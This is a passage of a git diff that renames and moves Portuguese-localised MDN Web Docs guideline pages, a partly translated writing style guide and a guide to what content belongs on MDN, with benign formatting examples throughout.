For the purposes of this discussion, the word "item" is used to mean anything which can be part of a specification: an element or an attribute of an element, an interface or any individual method, property, or other member of an interface, and so forth.

+
+ + + +

Please use common sense with wording of warning messages and other changes to text suggested by the guidelines above. Different items will require different wording and handling of the situation. When in doubt, feel free to ask for advice on the MDN Web Docs chat room on Matrix, or on the MDN Web Docs discussion forum.

+ +

Copiar conteúdo dentro da MDN

+ +

Sometimes, you need to reuse the same text on multiple pages (or you want to use one page's content as a template for another page). You have three options:

+ + + +

Copiar conteúdo de outro lado

+ +

Often, there is useful content about a topic somewhere on the web besides on MDN. However, copying such content can be fraught with difficulties, both legal and technical.

+ +

On the technical level, search engines typically penalize a site in their rankings for reproducing content available elsewhere. Therefore, it is preferable to have original content on MDN, to enhance the search engine ranking of MDN's content. You can link to the existing content from MDN.

+ +

On the legal level, you must be authorized to contribute the content, and it must be licensed and attributed in a way that is compatible with MDN's license.

+ + diff --git a/files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html b/files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html new file mode 100644 index 0000000000..429ffa389f --- /dev/null +++ b/files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html @@ -0,0 +1,200 @@ +--- +title: Isto pertence aos MDN Web Docs? +slug: MDN/Guidelines/Isto_pertence_a_MDN +tags: + - Guía + - Linhas Diretrizes + - Metadados MDN +translation_of: MDN/Guidelines/Does_this_belong_on_MDN +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/pt-PT/docs/MDN")}}
+ +

Neste artigo, irá encontrar informação a descrever como decidir se determinado tópico e/ ou tipo de conteúdo deverá ou não ser incluído na MDN Web Docs. Nós também iremos considerar outros lugares em que pode colocar o conteúdo, embora não em profundidade.

+ +

A questão

+ +

If you're preparing to document something, you may be trying to decide whether to put the information on MDN Web Docs. In addition, you may be considering maintaining documentation in your source code, putting the document on the Mozilla wiki, or in readme files in a Git repository. This article's purpose is to help you decide which of these options is right for your content.

+ +

The two main considerations for whether a document belongs on MDN are:

+ + + +

Be aware that all contributions to MDN fall under specific open source licenses; these are described in detail on our About MDN page.

+ +
+

Nota: Keep in mind that Mozilla's Websites & Communications Terms of Use are in effect when you use or contribute to MDN Web Docs. Review this document to ensure that you're aware of what can and cannot be posted on Mozilla sites.

+
+ +

Que tópicos pertencem aos MDN Web Docs?

+ +

In general, if it's an open web-facing technology, we document it on MDN. This means any feature that can used by Web developers creating sites and applications now and in the near future. If it is implemented by multiple browsers and either accepted as standard or is progressing towards standardization, then yes, definitely. If it is still very experimental and not implemented in multiple browsers and/or liable to change, then it is still suitable for inclusion, but may not be seen as a priority for the writer's team to work on.

+ +

The primary focus is on front-end web technologies:

+ + + +
+

Nota: Back-end technologies usually have their own documentation elsewhere that MDN does not attempt to supercede, although we do have some exceptions.

+
+ +

Also welcome are topics that cut across technologies but are relevant to Web development, such as:

+ + + +
+

Nota: MDN covers some non-standard features if they're exposed to the Web, especially if they find common usage; for example, we have documentation for WebKit-specific CSS properties.

+
+ +

Que tópicos não pertencem aos MDN Web Docs?

+ +

In general, anything that isn't an open web standard does not belong on MDN. The below sections provide more specifics.

+ +

Produtos da Mozilla

+ +

Documentation in this category includes information on both how to work with Mozilla products, as a developer, and how to contribute to these open-source projects.

+ +

While MDN Web Docs contains a large quantity of Mozilla product documentation, the focus of new content development is on open web standards. We are in the process of determining what to do about this content, so it may not make sense to create new Mozilla product documentation on MDN Web Docs. If you are working on a Mozilla product (or project that may become a product), talk to a member of the MDN staff team to discuss possible avenues for documenting your product. Also, see the section on Cases for documenting elsewhere, below.

+ + + +

E que mais?

+ +

Other examples of inappropriate topics for MDN Web Docs:

+ + + +

Que tipos de documentos pertencem à MDN?

+ +

In general, MDN is for product documentation, not for project or process documentation (except about MDN itself). So, if the document is about "how to use a thing" or "how a thing works" (where the "thing" is in one of the topic categories mentioned above), then it can go on MDN. But if it about "who's working on developing a thing" or "plans for developing a thing", then it shouldn't go on MDN. In that case, if the thing is being developed under the umbrella of Mozilla, then the Mozilla project wiki may be a good place for it.

+ +

Here are some examples of types of documents that should not be placed on MDN:

+ + + +

Vantagens para documentar na MDN

+ +

If you've determined that the documentation you want to write is appropriate in content and type for MDN, but you're still not sure whether MDN is the best place for it, read on.  There are a lot of good reasons to create documentation on MDN.

+ +

Muitos escritores e tradutores

+ +

The MDN community is big. We have a lot of people that participate in creating and maintaining content on MDN. With writers and editors on every continent (okay, maybe not Antarctica, but otherwise), there's a lot of value to the sheer volume of writers:

+ + + +

Do you want your development team to be entirely responsible for the production of documentation? That's likely if your documentation is maintained elsewhere.

+ +

Manutenção

+ +

Because of the sheer number of contributors, there's usually someone on hand to watch for problems with your content: from spam control to copy-editing, things can happen around the clock. Here's just a taste of what our team can do:

+ +
+
Delete spam
+
Spam happens. We deal with it.
+
Copy editing
+
You don't have to worry if your writing isn't as clear or precise as you'd like. We'll turn your prose into something other people can read.
+
Consistency of style
+
We'll ensure that your content is stylistically consistent not just within itself, but with the other documentation around it.
+
Content management
+
Our team will help ensure that the documentation is cross-linked with other relevant materials, that articles are put in the right places, and that menus and other infrastructure is built to make it easy to follow and understand.
+
Site and platform maintenance
+
MDN has both an IT team which keeps the site up, running, and secure, and a platform development team to maintain and enhance the platform on which the content is presented. You won't need to devote your own or additional resources to documentation infrastructure.
+
+ +

Casos para documentação em qualquer outra parte

+ +

There are also a few reasons you may be thinking about documenting your work somewhere other than MDN. Here are some of those reasons, and the pros and cons for each.

+ +

Planos e processos

+ +

Documentation for plans, processes, and proposals should never be put on MDN. That's pretty simple. If your project is part of Mozilla, you can put them on the Mozilla project wiki.

+ +

O projeto está no GitHub

+ +

Some of Mozilla's projects are hosted on GitHub, and GitHub offers its own wiki-like system for documentation. Some teams like to produce their documentation there. This is certainly fair and convenient if you're game to write your own docs; however, keep in mind that:

+ + + +

It's possible, of course, that these things don't bother you, or aren't a problem in your situation. Some teams don't mind writing and maintaining their own docs, or are working on code that has minimal documentation needs.

+ +

Quer manter os documentos na fonte

+ +

Some teams like to have their documentation in the source tree. This is particularly common with project internals and library projects.

+ +

This approach has a couple of advantages:

+ + + +

There are some drawbacks:

+ + + +

Still, this can be a viable option (possibly even a good option) for some types of projects, especially small ones or those that aren't expected to get much interest.

+ +

{{endnote("*")}} It's OK to put a limited amount of personal information on your MDN profile page. User profiles should reflect a human being, not a business or organization. A moderate degree of self-promotion is OK, but link-spamming is not. Please do not use your profile to upload personal photos or other irrelevant files.

diff --git a/files/pt-pt/mdn/guidelines/guia_de_estilo_de_escrita/index.html b/files/pt-pt/mdn/guidelines/guia_de_estilo_de_escrita/index.html deleted file mode 100644 index fe96ad554e..0000000000 --- a/files/pt-pt/mdn/guidelines/guia_de_estilo_de_escrita/index.html +++ /dev/null @@ -1,667 +0,0 @@ ---- -title: Guia de estilo de escrita -slug: MDN/Guidelines/Guia_de_estilo_de_escrita -tags: - - Documentação - - Guia(2) - - Linhas Diretrizes - - MDN - - Metadados MDN -translation_of: MDN/Guidelines/Writing_style_guide ---- -
{{MDNSidebar}}
- -

To present documentation in an organized, standardized, and easy-to-read manner, the MDN Web Docs style guide describes how text should be organized, spelled, formatted, and so on. These are guidelines rather than strict rules. We are more interested in content than formatting, so don't feel obligated to learn the style guide before contributing. Do not be upset or surprised, however, if an industrious volunteer later edits your work to conform to this guide.

- -

If you're looking for specifics of how a given type of page should be structured, see the MDN page layout guide.

- -

The language aspects of this guide apply primarily to English-language documentation. Other languages may have (and are welcome to create) style guides. These should be published as subpages of the localization team's page.

- -

For style standards that apply to content written for sites other than MDN, refer to the One Mozilla style guide.

- -

Básico

- -

The best place to start in any extensive publishing style guide is with some very basic text standards to help keep documentation consistent. The following sections outline some of these basics to help you.

- -

Page titles

- -

Page titles are used in search results and also used to structure the page hierarchy in the breadcrumb list at the top of the page. The page title (which is displayed at the top of the page and in the search results) can be different from the page "slug", which is the portion of the page's URL following "<locale>/docs/".

- -

Title and heading capitalization

- -

Page titles and section headings should use sentence-style capitalization (only capitalize the first word and proper nouns) rather than headline-style capitalization:

- - - -

We have many older pages that were written before this style rule was established. Feel free to update them as needed if you like. We're gradually getting to them.

- -

Choosing titles and slugs

- -

Page slugs should be kept short; when creating a new level of hierarchy, the new level's component in the slug should just be a word or two.

- -

Page titles, on the other hand, may be as long as you like, within reason, and they should be descriptive.

- -

Creating new subtrees

- -

When you need to add some articles about a topic or subject area, you will typically do so by creating a landing page, then adding subpages for each of the individual articles. The landing page should open with a paragraph or two describing the topic or technology, then provide a list of the subpages with descriptions of each page. You can automate the insertion of pages into the list using some macros we've created.

- -

For example, consider the JavaScript guide, which is structured as follows:

- - - -

Try to avoid putting your article at the top of the hierarchy, which slows the site down and makes search and site navigation less effective.

- -

Sections, paragraphs, and newlines

- -

Use heading levels in decreasing order: {{HTMLElement("h2")}} then {{HTMLElement("h3")}} then {{HTMLElement("h4")}}, without skipping levels. H2 is the highest level allowed because H1 is reserved for the page title. If you need more than three or four levels of headers you should consider breaking up the article into several smaller articles with a landing page, linking them together using the {{TemplateLink("Next")}}, {{TemplateLink("Previous")}}, and {{TemplateLink("PreviousNext")}} macros.

- -

The Enter (or Return) key on your keyboard starts a new paragraph. To insert a newline without a space, hold down the Shift key while pressing Enter.

- -

Don't create single subsections -- you don't subdivide a topic into one. It's either two subheadings or more or none at all. 

- -

Don't have bumping heads, which are headings followed immediately by headings. Aside from looking horrible, it's helpful to readers if every heading has at least a brief intro after it to introduce the subsections beneath.

- -

Listas

- -

Lists should be written in a similar format across all contributions. Correct procedures should include suitable punctuation and sentence structure regardless of the list format. However dependent on the type of list you are writing, you must adjust your format accordingly. Refer to the documentation below to understand the differences of each.

- -

Bulleted Lists

- -

Bulleted lists should be used for grouping purposes to create concise but effective pieces of information. Each new piece of information must start with a '•' to signify a new piece. Bulleted lists must follow standard punctuation usage, pay attention to the use of full stops; they must be included at the end of each sentence just like standard writing practice.

- -

An example of a correctly structured bulleted list:

- -
-

In this example we should include:

- - -
- -

Note how the format remains the same from bullet to bullet. Create a bullet point, state a condition that has relevence to your indented topic and add some pausing punctuation in order to follow up the condition with a concise explanation.

- -

Listas Numeradas

- -

Instruction lists must follow suitable numbering and format. It is important to include these attributes as with instructions, being clear is a key priority. Create the list in a similar style to a bulleted list, however numbered or instruction lists can be extensive where necessary, meaning correct punctuation is vital as you will be forming complex sentences.

- -

An example of a correctly structured numbered list:

- -
-

In order for you to structure a correct numbered list you must:

- -

1. Begin with creating an introductory heading to lead into the instructions. This way we can provide the user with context before beginning the instructions.

- -

2. Start creating your instructions, listing your instructions with numbers. This is a standard format of a numbered list that is easily recognizable by the user. Your instructions may be quite extensive, so it is important to write effectively and use correct punctuation where necessary.

- -

3. After you have finished your instructions, close off the numbered list with a brief explanation of the outcome upon completion.

- -

This is an example of writing your closing explanation. We have created a short numbered list which provides instructive steps to produce a numbered list with the correct formatting. 

-
- -

Numbered lists are almost exclusive for instructive purposes, so before writing consider your approach based on the context of the information you are trying to relay.  

- -

Formatação e estilo do texto

- -

Use the "Formatting Styles" drop-down list to apply predefined styles to selected content.

- -
The "Note" style is used to call out important notes, like this one.
- -
Similarly, the "Warning" style creates warning boxes like this.
- -

Unless specifically instructed to do so, do not use the HTML style attribute to manually style content. If you can't do it using a predefined class, drop into {{IRCLink("mdn")}} and ask for help.

- -

Code sample style and formatting

- -

Tabs and line breaks

- -

Use two spaces per tab in all code examples. Indent the code cleanly, with open-brace ("{") characters on the same line as the statement that opens the block. For example:

- -
if (condition) {
-  /* handle the condition */
-} else {
-  /* handle the "else" case */
-}
-
- -

Long lines shouldn't be allowed to stretch off horizontally to the extent that they require horizontal scrolling to read. Instead, break at natural breaking points. Some examples follow:

- -
if (class.CONDITION || class.OTHER_CONDITION || class.SOME_OTHER_CONDITION
-       || class.YET_ANOTHER_CONDITION ) {
-  /* something */
-}
-
-var toolkitProfileService = Components.classes["@mozilla.org/toolkit/profile-service;1"]
-                           .createInstance(Components.interfaces.nsIToolkitProfileService);
-
- -

Inline code formatting

- -

Use the "Code" button (labeled with two angle brackets "<>") to apply inline code-style formatting to function names, variable names, and method names (this uses the {{HTMLElement("code")}} element). For example, "the frenchText() function".

- -

Method names should be followed by a pair of parentheses: doSomethingUseful(). The parentheses help differentiate methods from other code terms.

- -

Syntax highlighting

- -

Screenshot of the 'Syntax Highlighter' menu.Entire lines (or multiple lines) of code should be formatted using syntax highlighting rather than the {{HTMLElement("code")}} element. Select the appropriate language from the language list button (the one with the two code blocks), as seen in the screenshot to the right. This will insert a preformatted code box with line numbers and syntax highlighting for the chosen language.

- -

The following example shows text with JavaScript formatting:

- -
-
for (var i = 0, j = 9; i <= 9; i++, j--)
-  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
-
- -

If no appropriate language is available, use ("No Highlight" in the language menu). This will result in code without syntax highlighting:

- -
x = 42;
- -

Syntax definitions

- -

If you want to insert a syntax definition, you can choose the "Syntax Box" option from the "Styles" drop-down menu in the editor toolbar. This will give the syntax definition a special formatting distinguishing it from normal code.

- -

Blocks not referring to code

- -

There are a few use cases where a <pre> block does not refer to code and doesn't have syntax highlighting nor line numbers. In such cases you should add a <pre> without class. Those cases include things like tree structures:

- -
root/
-
-    folder1/
-        file1
-
-    folder2/
-        file2
-        file3
-
- -

To create preformatted content without syntax highlighting and line numbers click the "pre" button in the toolbar. Then start to type the text.

- -

Styling HTML element references

- -

There are specific rules to follow when writing about HTML elements. These rules produce consistent descriptions of elements and their components. They also ensure correct linking to detailed documentation.

- -
-
Element names
-
Use the {{TemplateLink("HTMLElement")}} macro, which creates a link to the page for that element. For example, writing \{{HTMLElement("title")}} produces "{{HTMLElement("title")}}". If you don't want to create a link, enclose the name in angle brackets and use "Code (inline)" style (e.g., <title>).
-
Attribute names
-
Use bold face.
-
Attribute definitions
-
Use the {{TemplateLink("htmlattrdef")}} macro (e.g., \{{htmlattrdef("type")}}) for the definition term, so that it can be linked to from other pages, then use the {{TemplateLink("htmlattrxref")}} macro (e.g., \{{htmlattrxref("attr","element")}}) to reference attribute definitions.
-
Attribute values
-
Use "Code (inline)" style, and do not use quotation marks around strings, unless needed by the syntax of a code sample. For example: When the type attribute of an <input> element is set to email or tel ...
-
Labeling attributes
-
Use labels like {{HTMLVersionInline(5)}} thoughtfully. For example, use them next to the bold attribute name but not for every occurrence in your body text.
-
- -

Latin abbreviations

- -

In notes and parentheses

- - - -

In running text

- - - -

Meanings and English equivalents of Latin abbreviations

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
AbbrevLatinEnglish
cf.confercompare
e.g.exempli gratiafor example
et al.et aliiand others
etc.et ceteraand so forth, and so on
i.e.id estthat is, in other words
N.B.nota benenote well
P.S.post scriptumpostscript
- -
-

Always consider whether it's truly beneficial to use a Latin abbreviation. Some of these are used so rarely that many readers won't understand the meaning, and others are often confused with one another. And be sure that you use them correctly, if you choose to do so. For example, be careful not to confuse "e.g." with "i.e.", which is a common error.

-
- -

Acronyms and abbreviations

- -

Capitalization and periods

- -

Use full capitals and delete periods in all acronyms and abbreviations, including organizations such as "US" and "UN".

- - - -

Expansion

- -

On the first mention of a term on a page, expand acronyms likely to be unfamiliar to users. When in doubt, expand it, or, better, link it to the article or glossary entry describing the technology.

- - - -

Plurals of acronyms and abbreviations

- -

For plurals of acronyms or abbreviations, add s. Don't use an apostrophe. Ever. Please.

- - - -

"Versus", "vs.", and "v."

- -

The contraction "vs." is preferred.

- - - -

Capitalização

- -

Use standard English capitalization rules in body text, and capitalize "World Wide Web." It is acceptable to use lower case for "web" (used alone or as a modifier) and "internet;" this guideline is a change from a previous version of this guide, so you may find many instances of "Web" and "Internet" on MDN.  Feel free to change these as you are making other changes, but editing an article just to change capitalization is not necessary.

- -

Keyboard keys should use sentence-style capitalization, not all-caps capitalization. For example, "Enter" not "ENTER."

- -

Contrações

- -

Our writing style tends to be casual, so you should feel free to use contractions (e.g., "don't", "can't", "shouldn't") if you prefer.

- -

Pluralização

- -

Use English-style plurals, not the Latin- or Greek-influenced forms.

- - - -

Hifenização

- -

Hyphenate compounds when the last letter of the prefix is a vowel and is the same as the first letter of the root.

- - - -

Idioma de género neutral

- -

It is a good idea to use gender-neutral language in any writing where gender is irrelevant to the subject matter, to make the text as inclusive as possible. So for example, if you are talking about the actions of a specific man, usage of he/his would be fine, but if the subject is a person of either gender, he/his isn't appropriate.
-
- Let's take the following example:

- -
-

A confirmation dialog appears, asking the user if he allows the Web page to make use of his Web cam.

-
- -
-

A confirmation dialog appears, asking the user if she allows the Web page to make use of her Web cam.

-
- -

Both versions are gender-specific. To fix this, use gender-neutral pronouns:

- -
-

A confirmation dialog appears, asking the user if they allow the Web page to make use of their Web cam.

-
- -
-

MDN allows the use of this very common syntax (which is controversial among usage authorities), to make up for the lack of a neutral gender in English. The use of the third-person plural as a gender neutral pronoun (that is, using "they," them", "their," and "theirs") is an accepted practice, commonly known as "singular 'they.'"

-
- -

You can use both genders:

- -
-

A confirmation dialog appears, asking the user if he or she allows the web page to make use of his/her web cam.

-
- -

making the users plural:

- -
-

A confirmation dialog appears, asking the users if they allow the web page to make use of their web cams.

-
- -

The best solution, of course, is to rewrite and eliminate the pronouns:

- -
-

A confirmation dialog appears, requesting the user's permission for web cam access.

-
- -
-

A confirmation dialog box appears, which asks the user for permission to use the web cam.

-
- -

The last way of dealing with the problem is arguably better, as it is not only grammatically more correct but removes some of the complexity associated with dealing with genders across different languages that may have wildly varying gender rules. This solution can make translation easier for both readers and localizers.

- -

Numbers and numerals

- -

Dates

- -

For dates (not including dates in code samples) use the format "January 1, 1990".

- - - -

Alternately, you can use the YYYY/MM/DD format.

- - - -

Decades

- -

For decades, use the format "1990s". Don't use an apostrophe.

- - - -

Plurals of numerals

- -

For plurals of numerals add "s". Don't use an apostrophe.

- - - -

Commas

- -

In running text, use commas only in five-digit and larger numbers.

- - - -

Punctuation

- -

Serial comma

- -

Use the serial comma. The serial (also known as "Oxford") comma is the comma that appears before the conjunction in a series of three or more items.

- - - -
-

This is in contrast to the One Mozilla style guide, which specifies that the serial comma is not to be used. MDN is an exception to this rule.

-
- -

Ortografia

- -

For words with variant spellings, always use their American English spelling. In general, use the first entry at Dictionary.com, unless that entry is listed as a variant spelling or as being primarily used in a non-American form of English; for example, if you look up "honour", you find the phrase "Chiefly British" followed by a link to the American standard form, "honor". Do not use variant spellings.

- - - -

Terminologia

- -

Obsolete vs. deprecated

- -

It's important to be clear about the difference between the terms obsolete and deprecated.

- -
-
Obsolete
-
On MDN, the term obsolete marks an API or technology that is not only no longer recommended, but also no longer implemented in the browser. For Mozilla-specific technologies, the API is no longer implemented in Mozilla code; for Web standard technology, the API or feature is no longer supported by current, commonly-used browsers.
-
Deprecated
-
On MDN, the term deprecated marks an API or technology that is no longer recommended, but is still implemented and may still work. These technologies will in theory eventually become obsolete and be removed, so you should stop using them. For Mozilla-specific technologies, the API is still supported in Mozilla code; for Web standard technology, the API or feature has been removed or replaced in a recent version of the defining standard.
-
- -

Elementos de HTML

- -

Use "elements" to refer to HTML and XML elements, rather than "tags". In addition, they should almost always be wrapped in "<>", and should be in the {{HTMLElement("code")}} style. When you reference a given element for the first time in a section, you should use the {{TemplateLink("HTMLElement")}} macro to create a link to the documentation for the element (unless you're writing within that element's reference document page).

- - - -

Parameters vs. arguments

- -

The preferred term on MDN is parameters. Please avoid the term "arguments" for consistency if at all possible.

- -

User interface actions

- -

In task sequences, describe user interface actions using the imperative mood. Identify the user interface element by its label and type.

- - - -

Voice

- -

While the active voice is preferred, the passive voice is also acceptable, given the informal feel of our content. Try to be consistent, though.

- -

Wiki markup and usage

- -

Hiperligações

- -

Links are a large part of what makes a wiki a powerful learning and teaching tool. Below you'll find some basic information, but you can find a complete guide to creating and editing links on MDN in our editor guide.

- -

We encourage you to create appropriate links among articles; they help improve navigation and discoverability of content. You can easily create links not only among pages on MDN (internal links) but also to pages outside MDN (external links).

- -

There are two ways to create links: you explicitly create a link using the Link button in the editor's toolbar—or by pressing Ctrl+K (Cmd-K on the Mac)—or you can use MDN's powerful macro system to generate links automatically or based on an input value.

- -

When deciding what text to use as a link, there are a few guidelines you can follow:

- - - -

Esquemas de URL

- -

For security reasons, you should only create links that use the following schemes:

- - - -

Others may or may not work, but are not supported and will probably be removed by editorial staff.

- -
-

In particular, be sure not to use the about: or chrome:// schemes, as they will not work. Similarly, the javascript: scheme is blocked by most modern browsers, as is jar:.

-
- -

Etiquetas de página

- -

Tags provide meta information about a page and/or indicate that a page has specific improvements needed to its content. Every page in the wiki should have tags. You can find details on tagging in our How to properly tag pages guide.

- -

The tagging interface lives at the bottom of a page while you're in edit mode, and looks something like this:

- -

Screenshot of the UX for adding and removing tags on MDN

- -

To add a tag, click in the edit box at the end of the tag list and type the tag name you wish to add. Tags will autocomplete as you type. Press enter (or return) to submit the new tag. Each article may have as many tags as needed. For example, an article about using JavaScript in AJAX programming might have both "JavaScript" and "AJAX" as tags.

- -

To remove a tag, just click the little "X" icon in the tag.

- -

Tagging pages that need work

- -

In addition to using tags to track information about the documentation's quality and content, we also use them to mark articles as needing specific types of work.

- -

Tagging obsolete pages

- -

Use the following tags for pages that are not current:

- - - -

Resumo SEO

- -

The SEO summary provides a short description of a page. It will be reported as a summary of the article to robots crawling the site, and will then appear in search results for the page. It is also used by macros that automate the construction of landing pages inside MDN itself.

- -

By default, the first paragraph of the page is used as the SEO summary. However, you can override this behavior by marking a section with the "SEO summary" style in the WYSIWYG editor.

- -

Landing pages

- -

Landing pages are pages at the root of a topic area of the site, such as the main CSS or HTML pages. They have a standard format that consists of three areas:

- -
    -
  1. A brief (typically one paragraph) overview of what the technology is and how it's used. See {{anch("Writing a landing page overview")}} for tips.
  2. -
  3. A two-column list of links with appropriate headings. See {{anch("Creating a page link list")}} for guidelines.
  4. -
  5. An optional "Browser compatibility" section at the bottom of the page.
  6. -
- - - -

The link list section of an MDN landing page consists of two columns. These are created using the following HTML:

- -
<div class="row topicpage-table">
-  <div class="section">
-    ... left column contents ...
-  </div>
-  <div class="section">
-    ... right column contents ...
-  </div>
-</div>
- -

The left column should be a list of articles, with an <h2> header at the top of the left column explaining that it's a list of articles about the topic (e.g., "Documentation and tutorials about foo"); this header should use the CSS class "Documentation". Below that is a <dl> list of articles with each article's link in a <dt> block and a brief one-or-two sentence summary of the article in the corresponding <dd> block.

- -

The right column should contain one or more of the following sections, in order:

- -
-
Getting help from the community
-
This should provide information on Matrix chat rooms and mailing lists available on the topic. The heading should use the class "Community".
-
Tools
-
A list of tools the user can look at to help with the use of the technology described in this section of MDN. The heading should use the class "Tools".
-
Related topics
-
A list of links to landing pages for other, related, technologies of relevance. The heading should use the class "Related_Topics".
-
- -

<<<finish this once we finalize the landing page standards>>>

- -

Utilização, inserção de imagens

- -

It's sometimes helpful to provide an image in an article you create or modify, especially if the article is very technical. To include an image:

- -
    -
  1. Attach the desired image file to the article (at the bottom of every article in edit mode)
  2. -
  3. Create an image in the WYSIWYG editor
  4. -
  5. In the WYSIWYG editor, in the drop-down list of attachments, select the newly created attachment that is your image
  6. -
  7. Press OK.
  8. -
- -

Outras referências

- -

Preferred style guides

- -

If you have questions about usage and style not covered here, we recommend referring to the Economist style guide or, failing that, the Chicago Manual of Style.

- -

Preferred dictionary

- -

For questions of spelling, please refer to Dictionary.com. The spelling checker for this site uses American English. Please do not use variant spellings (e.g., use color rather than colour).

- -

We will be expanding the guide over time, so if you have specific questions that aren't covered in this document, please send them to the MDC mailing list or project lead so we know what should be added.

- -

Específico da MDN

- - - -

Idioma, gramática, ortografia

- -

If you're interested in improving your writing and editing skills, you may find the following resources to be helpful.

- - diff --git a/files/pt-pt/mdn/guidelines/isto_pertence_a_mdn/index.html b/files/pt-pt/mdn/guidelines/isto_pertence_a_mdn/index.html deleted file mode 100644 index 429ffa389f..0000000000 --- a/files/pt-pt/mdn/guidelines/isto_pertence_a_mdn/index.html +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: Isto pertence aos MDN Web Docs? -slug: MDN/Guidelines/Isto_pertence_a_MDN -tags: - - Guía - - Linhas Diretrizes - - Metadados MDN -translation_of: MDN/Guidelines/Does_this_belong_on_MDN ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

Neste artigo, irá encontrar informação a descrever como decidir se determinado tópico e/ ou tipo de conteúdo deverá ou não ser incluído na MDN Web Docs. Nós também iremos considerar outros lugares em que pode colocar o conteúdo, embora não em profundidade.

- -

A questão

- -

If you're preparing to document something, you may be trying to decide whether to put the information on MDN Web Docs. In addition, you may be considering maintaining documentation in your source code, putting the document on the Mozilla wiki, or in readme files in a Git repository. This article's purpose is to help you decide which of these options is right for your content.

- -

The two main considerations for whether a document belongs on MDN are:

- - - -

Be aware that all contributions to MDN fall under specific open source licenses; these are described in detail on our About MDN page.

- -
-

Nota: Keep in mind that Mozilla's Websites & Communications Terms of Use are in effect when you use or contribute to MDN Web Docs. Review this document to ensure that you're aware of what can and cannot be posted on Mozilla sites.

-
- -

Que tópicos pertencem aos MDN Web Docs?

- -

In general, if it's an open web-facing technology, we document it on MDN. This means any feature that can used by Web developers creating sites and applications now and in the near future. If it is implemented by multiple browsers and either accepted as standard or is progressing towards standardization, then yes, definitely. If it is still very experimental and not implemented in multiple browsers and/or liable to change, then it is still suitable for inclusion, but may not be seen as a priority for the writer's team to work on.

- -

The primary focus is on front-end web technologies:

- - - -
-

Nota: Back-end technologies usually have their own documentation elsewhere that MDN does not attempt to supercede, although we do have some exceptions.

-
- -

Also welcome are topics that cut across technologies but are relevant to Web development, such as:

- - - -
-

Nota: MDN covers some non-standard features if they're exposed to the Web, especially if they find common usage; for example, we have documentation for WebKit-specific CSS properties.

-
- -

Que tópicos não pertencem aos MDN Web Docs?

- -

In general, anything that isn't an open web standard does not belong on MDN. The below sections provide more specifics.

- -

Produtos da Mozilla

- -

Documentation in this category includes information on both how to work with Mozilla products, as a developer, and how to contribute to these open-source projects.

- -

While MDN Web Docs contains a large quantity of Mozilla product documentation, the focus of new content development is on open web standards. We are in the process of determining what to do about this content, so it may not make sense to create new Mozilla product documentation on MDN Web Docs. If you are working on a Mozilla product (or project that may become a product), talk to a member of the MDN staff team to discuss possible avenues for documenting your product. Also, see the section on Cases for documenting elsewhere, below.

- - - -

E que mais?

- -

Other examples of inappropriate topics for MDN Web Docs:

- - - -

Que tipos de documentos pertencem à MDN?

- -

In general, MDN is for product documentation, not for project or process documentation (except about MDN itself). So, if the document is about "how to use a thing" or "how a thing works" (where the "thing" is in one of the topic categories mentioned above), then it can go on MDN. But if it about "who's working on developing a thing" or "plans for developing a thing", then it shouldn't go on MDN. In that case, if the thing is being developed under the umbrella of Mozilla, then the Mozilla project wiki may be a good place for it.

- -

Here are some examples of types of documents that should not be placed on MDN:

- - - -

Vantagens para documentar na MDN

- -

If you've determined that the documentation you want to write is appropriate in content and type for MDN, but you're still not sure whether MDN is the best place for it, read on.  There are a lot of good reasons to create documentation on MDN.

- -

Muitos escritores e tradutores

- -

The MDN community is big. We have a lot of people that participate in creating and maintaining content on MDN. With writers and editors on every continent (okay, maybe not Antarctica, but otherwise), there's a lot of value to the sheer volume of writers:

- - - -

Do you want your development team to be entirely responsible for the production of documentation? That's likely if your documentation is maintained elsewhere.

- -

Manutenção

- -

Because of the sheer number of contributors, there's usually someone on hand to watch for problems with your content: from spam control to copy-editing, things can happen around the clock. Here's just a taste of what our team can do:

- -
-
Delete spam
-
Spam happens. We deal with it.
-
Copy editing
-
You don't have to worry if your writing isn't as clear or precise as you'd like. We'll turn your prose into something other people can read.
-
Consistency of style
-
We'll ensure that your content is stylistically consistent not just within itself, but with the other documentation around it.
-
Content management
-
Our team will help ensure that the documentation is cross-linked with other relevant materials, that articles are put in the right places, and that menus and other infrastructure is built to make it easy to follow and understand.
-
Site and platform maintenance
-
MDN has both an IT team which keeps the site up, running, and secure, and a platform development team to maintain and enhance the platform on which the content is presented. You won't need to devote your own or additional resources to documentation infrastructure.
-
- -

Casos para documentação em qualquer outra parte

- -

There are also a few reasons you may be thinking about documenting your work somewhere other than MDN. Here are some of those reasons, and the pros and cons for each.

- -

Planos e processos

- -

Documentation for plans, processes, and proposals should never be put on MDN. That's pretty simple. If your project is part of Mozilla, you can put them on the Mozilla project wiki.

- -

O projeto está no GitHub

- -

Some of Mozilla's projects are hosted on GitHub, and GitHub offers its own wiki-like system for documentation. Some teams like to produce their documentation there. This is certainly fair and convenient if you're game to write your own docs; however, keep in mind that:

- - - -

It's possible, of course, that these things don't bother you, or aren't a problem in your situation. Some teams don't mind writing and maintaining their own docs, or are working on code that has minimal documentation needs.

- -

Quer manter os documentos na fonte

- -

Some teams like to have their documentation in the source tree. This is particularly common with project internals and library projects.

- -

This approach has a couple of advantages:

- - - -

There are some drawbacks:

- - - -

Still, this can be a viable option (possibly even a good option) for some types of projects, especially small ones or those that aren't expected to get much interest.

- -

{{endnote("*")}} It's OK to put a limited amount of personal information on your MDN profile page. User profiles should reflect a human being, not a business or organization. A moderate degree of self-promotion is OK, but link-spamming is not. Please do not use your profile to upload personal photos or other irrelevant files.

diff --git a/files/pt-pt/mdn/guidelines/writing_style_guide/index.html b/files/pt-pt/mdn/guidelines/writing_style_guide/index.html new file mode 100644 index 0000000000..fe96ad554e --- /dev/null +++ b/files/pt-pt/mdn/guidelines/writing_style_guide/index.html @@ -0,0 +1,667 @@ +--- +title: Guia de estilo de escrita +slug: MDN/Guidelines/Guia_de_estilo_de_escrita +tags: + - Documentação + - Guia(2) + - Linhas Diretrizes + - MDN + - Metadados MDN +translation_of: MDN/Guidelines/Writing_style_guide +--- +
{{MDNSidebar}}
+ +

